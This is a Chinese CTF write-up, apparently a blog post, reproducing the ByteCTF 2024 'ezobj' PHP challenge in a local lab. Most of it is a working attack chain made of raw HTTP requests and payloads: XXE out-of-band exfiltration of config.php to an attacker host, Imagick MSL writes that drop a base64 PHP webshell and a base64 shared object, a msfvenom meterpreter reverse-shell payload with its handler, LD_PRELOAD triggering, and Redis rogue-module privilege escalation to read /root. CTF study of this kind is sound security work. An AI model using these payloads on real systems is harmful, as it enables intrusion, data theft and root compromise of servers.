byteCTF 2024 ezobj(复现)
ezobj(复现)
开题:
<?php
ini_set("display_errors", "On");
include_once("config.php");
if (isset($_GET['so']) && isset($_GET['key'])) {
if (is_numeric($_GET['so']) && $_GET['key'] === $secret) {
array_map(function($file) { echo $file . "\n"; }, glob('/tmp/*'));
putenv("LD_PRELOAD=/tmp/".$_GET['so'].".so");
}
}
if (isset($_GET['byte']) && isset($_GET['ctf'])) {
$a = new ReflectionClass($_GET['byte']);
$b = $a->newInstanceArgs($_GET['ctf']);
// echo $b;
} elseif (isset($_GET['clean'])){
array_map('unlink', glob('/tmp/*'));
} else {
highlight_file(__FILE__);
echo 'Hello ByteCTF2024!';
}
// phpinfo.html Hello ByteCTF2024!
逻辑非常简单就是通过利用原生类来上传文件进行 LD_PRELOAD
劫持来命令执行。(题目环境已经没有了,下面复现环境都在本地),发现需要 $secret
才能查看/tmp 目录下的文件,可以通过 SimpleXMLElement
来进行文件读取
evil.xml
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % remote SYSTEM "http://ip/send.xml">
%remote;
%all;
%send;
]>
send.xml
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=config.php">
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://ip/send.php?file=%file;'>">
send.php
<?php
file_put_contents("result.txt", $_GET[file]);
?>
然后传参
?byte=SimpleXMLElement&ctf[]=http://ip/evil.xml&ctf[]=2&ctf[]=true
成功读取 config.php 文件,获得$secret
现在就需要找要用什么原生类能上传文件,访问phpinfo.html 看见有扩展 imagick
参考:https://github.com/AFKL-CUIT/CTF-Challenges/blob/master/CISCN/2022/backdoor/writup/writup.md
简单构造一下 poc
POST /?byte=imagick&ctf[]=vid:msl:/tmp/php* HTTP/1.1
Host: localhost:32768
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=0, i
Content-Type: multipart/form-data; boundary=------------------------c32aaddf3d8fd979
Content-Length: 699
--------------------------c32aaddf3d8fd979
Content-Disposition: form-data; name="swarm"; filename="swarm.msl"
Content-Type: application/octet-stream
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="inline:data://image/x-portable-anymap;base64,UDYKOSA5CjI1NQoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADw/cGhwIGV2YWwoJF9HRVRbMV0pOz8+fE86ODoiYmFja2Rvb3IiOjI6e3M6NDoicGF0aCI7czoxNDoiL3RtcC9zZXNzX2Fma2wiO3M6MTI6ImRvX2V4ZWNfZnVuYyI7YjowO30=" />
<write filename="/tmp/1.php" />
</image>
--------------------------c32aaddf3d8fd979--
查看上传成功
简单解释一下原理,就是通过通配符来匹配到上传的临时文件,然后利用 imagick 类 vid 的 msl 协议来解析,这个临时文件的内容就是一个 wsl 脚本。这个临时脚本的内容就是把 read 标签的内容写如 write 标签中的文件中。
但是由于 imagick
类对文件格式解析较严,需要写入的文件必须是其支持的图片格式,如jpg、gif、ico等,这就导致写入的内容有了限制,参考师傅文章知道 ppm 的图片格式允许在末尾随便加脏数据并且没有 crc 校验等,用来上传 webshell 是完全没有问题的,刚刚的内容 base64 解码为
一般直接上传到 html 目录下就可以直接 getshell 了,但是这里的 html 目录没有写入权限,还是需要上传 so 文件才行,那么显然 ppm 的文件格式就不行了,有脏数据
然后参考:https://aecous.github.io/2023/06/27/Imagick%E8%A7%A6%E5%8F%91msl/
知道还可以用 inline:data:text/8BIM;base64,
这个玩意直接就可以进行数据解密+传输,不需要符合图片标准
把 hack.so 进行 base64 编码写入,这里需要重新写个 so 文件,直接用下面这个 c 文件编译的话文件太大了。
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
__attribute__ ((__constructor__)) void preload (void){
unsetenv("LD_PRELOAD");
system("ls /");
}
这里可以参考:构造一个最小ELF文件构造一个小一点的或者直接看 wp:https://infernity.top/2024/09/21/ByteCTF2024%E5%A4%A7%E5%B8%88%E8%B5%9B/,不过我这种方法复现失败了。
然后再参考:ByteCTF 2024 writeup by Arr3stY0u,用msf生成so
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=ip LPORT=6666 -f elf-so -o payload.so
cat payload.so | base64
这个确实短,构造poc
POST /?byte=imagick&ctf[]=vid:msl:/tmp/php* HTTP/1.1
Host: localhost:32768
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=0, i
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryTrWYaXKoVR1wiLhP
Content-Length: 1039
------WebKitFormBoundaryTrWYaXKoVR1wiLhP
Content-Disposition: form-data; name="file"; filename="vulhub.msl"
Content-Type: text/plain
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="inline:data:text/8BIM;base64,f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAkgEAAAAAAABAAAAAAAAAALAAAAAAAAAAAAAAAEAAOAACAEAAAgABAAEAAAAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFAIAAAAAAACWAgAAAAAAAAAQAAAAAAAAAgAAAAcAAAAwAQAAAAAAADABAAAAAAAAMAEAAAAAAABgAAAAAAAAAGAAAAAAAAAAABAAAAAAAAABAAAABgAAAAAAAAAAAAAAMAEAAAAAAAAwAQAAAAAAAGAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAcAAAAAAAAAAAAAAAMAAAAAAAAAAAAAAJABAAAAAAAAkAEAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwAAAAAAAAAkgEAAAAAAAAFAAAAAAAAAJABAAAAAAAABgAAAAAAAACQAQAAAAAAAAoAAAAAAAAAAAAAAAAAAAALAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMf9qCViZthBIidZNMclqIkFaagdaDwVIhcB4UWoKQVlQailYmWoCX2oBXg8FSIXAeDtIl0i5AgAaCmo11LhRSInmahBaaipYDwVZSIXAeSVJ/8l0GFdqI1hqAGoFSInnSDH2DwVZWV9IhcB5x2o8WGoBXw8FXmp+Wg8FSIXAeO3/5g=="/>
<write filename="/tmp/123.so" />
</image>
------WebKitFormBoundaryTrWYaXKoVR1wiLhP--
上传成功,现在就是需要想怎么去触发这个 so 劫持。
上传 wmv 文件,
POST /?byte=imagick&ctf[]=vid:msl:/tmp/php* HTTP/1.1
Host: localhost:32768
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=0, i
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryTrWYaXKoVR1wiLhP
Content-Length: 343
------WebKitFormBoundaryTrWYaXKoVR1wiLhP
Content-Disposition: form-data; name="file"; filename="vulhub.msl"
Content-Type: text/plain
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="inline:data:text/8BIM;base64,cGF5bG9hZC5zbwo="/>
<write filename="/tmp/11.wmv" />
</image>
------WebKitFormBoundaryTrWYaXKoVR1wiLhP--
然后执行
?so=123&byte=Imagick&ctf[]=/tmp/11.wmv
注意这里用的是 msf 的反弹 shell,所以只能用 msf 的来进行 shell 操作。
msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST ip
set LPORT 6666
exploit
成功反弹 shell
我本地复现就到这了,没有 redis 数据库的环境。
实际上在题目环境中还需要进行 redis 提权,因为 flag 在/root 目录下,ps -ef 发现redies 是 root 权限运行的。
在redis.conf里查看密码登录 redis ,上传 https://github.com/n0b0dyCN/redis-rogue-server/ 中的 exp.so 到 /tmp 下,给exp.so加执行权限然后执行
MODULE LOAD /tmp/exp.so
system.exec "cat /root/flag"
标签:xml,Content,zh,Sec,2024,so,ezobj,byteCTF,Fetch
From: https://blog.csdn.net/2301_79700060/article/details/142522387